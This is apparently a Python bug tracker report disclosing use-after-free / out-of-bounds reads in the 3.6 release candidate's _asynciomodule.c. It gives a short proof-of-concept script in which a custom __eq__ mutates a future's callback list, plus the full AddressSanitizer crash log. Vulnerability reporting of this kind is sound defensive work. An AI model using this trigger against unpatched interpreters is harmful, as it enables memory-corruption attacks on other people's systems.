Author Ned Williamson
Recipients Ned Williamson
Date 2016-12-13.19:26:40
SpamBayes Score -1.0
Marked as misclassified Yes
Message-id <1481657201.46.0.37032067172.issue28963@psf.upfronthosting.co.za>
In-reply-to
Content
There are two cases of use-after-free in the new Modules/_asynciomodule.c in the release candidate for Python 3.6, but I'm filing these together because it's the same underlying issue.

In both cases in this file where the unsafe `PyList_GET_ITEM` is called, `_asyncio_Future_remove_done_callback` and `future_schedule_callbacks`, there is a function called on the fetched item that allows the user to mutate the callbacks list (`PyObject_RichCompareBool` and `_PyObject_CallMethodId`), which then leads to OOB access on subsequent iterations.

For example, this script can trigger the vulnerability for `remove_done_callback`:
```
import asyncio

fut = asyncio.Future()
fut.add_done_callback(str)

for _ in range(63):
    fut.add_done_callback(id)

class evil:
    def __eq__(self, other):
        fut.remove_done_callback(id)
        return False

fut.remove_done_callback(evil())
```

On an ASAN build we can see that there is indeed a UAF occurring:
```
=================================================================
==19239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000e7f0 at pc 0x000106fe6704 bp 0x7fff5cda09c0 sp 0x7fff5cda09b8
READ of size 8 at 0x60300000e7f0 thread T0
    #0 0x106fe6703 in _asyncio_Future_remove_done_callback _asynciomodule.c:526
    #1 0x102f5af35 in _PyCFunction_FastCallDict methodobject.c:192
    #2 0x1030e9044 in call_function ceval.c:4788
    #3 0x1030da2f0 in _PyEval_EvalFrameDefault ceval.c:3275
    #4 0x1030eb09b in _PyEval_EvalCodeWithName ceval.c:718
    #5 0x1030ced53 in PyEval_EvalCode ceval.c:4140
    #6 0x10317da47 in PyRun_FileExFlags pythonrun.c:980
    #7 0x10317c110 in PyRun_SimpleFileExFlags pythonrun.c:396
    #8 0x1031c76b8 in Py_Main main.c:320
    #9 0x102e5ed40 in main python.c:69
    #10 0x7fffc9bd8254 in start (libdyld.dylib+0x5254)

0x60300000e7f0 is located 0 bytes to the right of 32-byte region [0x60300000e7d0,0x60300000e7f0)
allocated by thread T0 here:
    #0 0x1039d5f87 in wrap_realloc (libclang_rt.asan_osx_dynamic.dylib+0x4af87)
    #1 0x102efb089 in list_ass_slice listobject.c:63
    #2 0x106fe6605 in _asyncio_Future_remove_done_callback _asynciomodule.c:541
    #3 0x102f5af35 in _PyCFunction_FastCallDict methodobject.c:192
    #4 0x1030e9044 in call_function ceval.c:4788
    #5 0x1030da2f0 in _PyEval_EvalFrameDefault ceval.c:3275
    #6 0x1030ed94a in _PyFunction_FastCallDict ceval.c:718
    #7 0x102e81308 in _PyObject_FastCallDict abstract.c:2295
    #8 0x102e816b1 in _PyObject_Call_Prepend abstract.c:2358
    #9 0x102e81286 in _PyObject_FastCallDict abstract.c:2316
    #10 0x102fa125a in slot_tp_richcompare typeobject.c:6287
    #11 0x102f61f66 in PyObject_RichCompare object.c:671
    #12 0x102f62421 in PyObject_RichCompareBool object.c:741
    #13 0x106fe6544 in _asyncio_Future_remove_done_callback _asynciomodule.c:528
    #14 0x102f5af35 in _PyCFunction_FastCallDict methodobject.c:192
    #15 0x1030e9044 in call_function ceval.c:4788
    #16 0x1030da2f0 in _PyEval_EvalFrameDefault ceval.c:3275
    #17 0x1030eb09b in _PyEval_EvalCodeWithName ceval.c:718
    #18 0x1030ced53 in PyEval_EvalCode ceval.c:4140
    #19 0x10317da47 in PyRun_FileExFlags pythonrun.c:980
    #20 0x10317c110 in PyRun_SimpleFileExFlags pythonrun.c:396
    #21 0x1031c76b8 in Py_Main main.c:320
    #22 0x102e5ed40 in main python.c:69
    #23 0x7fffc9bd8254 in start (libdyld.dylib+0x5254)

SUMMARY: AddressSanitizer: heap-buffer-overflow _asynciomodule.c:526 in _asyncio_Future_remove_done_callback
Shadow bytes around the buggy address:
  0x1c0600001ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0600001cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0600001cc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0600001cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0600001ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x1c0600001cf0: fa fa fa fa fa fa fa fa fa fa 00 00 00 00[fa]fa
  0x1c0600001d00: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 02
  0x1c0600001d10: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x1c0600001d20: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x1c0600001d30: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x1c0600001d40: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==19239==ABORTING
[1]    19239 abort      ASAN_OPTIONS=halt_on_error=0 ./python.exe test.py
```
History
Date User Action Args
2016-12-13 19:26:41Ned Williamsonsetrecipients: + Ned Williamson
2016-12-13 19:26:41Ned Williamsonsetmessageid: <1481657201.46.0.37032067172.issue28963@psf.upfronthosting.co.za>
2016-12-13 19:26:41Ned Williamsonlinkissue28963 messages
2016-12-13 19:26:40Ned Williamsoncreate